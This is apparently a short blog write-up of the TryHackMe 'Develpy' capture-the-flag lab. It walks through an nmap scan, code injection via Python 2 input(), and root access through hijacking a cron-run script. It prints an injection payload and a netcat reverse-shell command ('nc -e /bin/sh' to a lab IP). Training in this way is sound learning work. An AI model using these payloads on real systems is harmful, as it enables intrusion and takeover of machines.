TryHackMe: Develpy

Today we will take a look at TryHackMe: Develpy. My goal in sharing this writeup is to show you the way if you are in trouble. Please try to understand each step and take notes.

Scan:

  • Network scan

Command: nmap -A IP

Enumeration

This means that python could not define a variable or module “ls”: Therefore, we did not specify a variable or module called “ls”. This is a vulnerability in python2 that allows you to execute code on the machine via python.

Exploitation of weakness

Command: __import__(‘os’).system(‘id’)

Command: __import__(‘os’).system(‘nc -e /bin/sh 10.8.223.65 4242’)

Privilege Escalation

As we look at the .sh files inside, we guess it’s cronjob. When we check, we see that the root.sh file is in our folder. Therefore, we can easily change the location and put our code in its place.

And now we are the root

“If you have any questions or comments, please do not hesitate to write. Have a good days”

--

--

--

Hello, my name is Elman. I am from Azerbaijan. I wish you a good days

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

What happens when you type gcc main.c

Cut Rendering Time by 90%: How I Built My Own Free Blender Render Farm with Google Cloud

READ/DOWNLOAD*- Android Hacker’s Handbook FULL BOO

Top 6 Free Courses to learn Ruby and Rails in 2022 — Best of Lot

6 Git tips for everyday use

Logstash from scratch: parsing new messages

Introduction of Collection to implement DS in Java

My Experience At Guru’s Code Camp 2020.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Al1z4deh:~# echo "Welcome"

Al1z4deh:~# echo "Welcome"

Hello, my name is Elman. I am from Azerbaijan. I wish you a good days

More from Medium

TryHackMe: tomghost

HackTheBox Timing Write-Up

Timing

HackTheBox: Pandora Write-up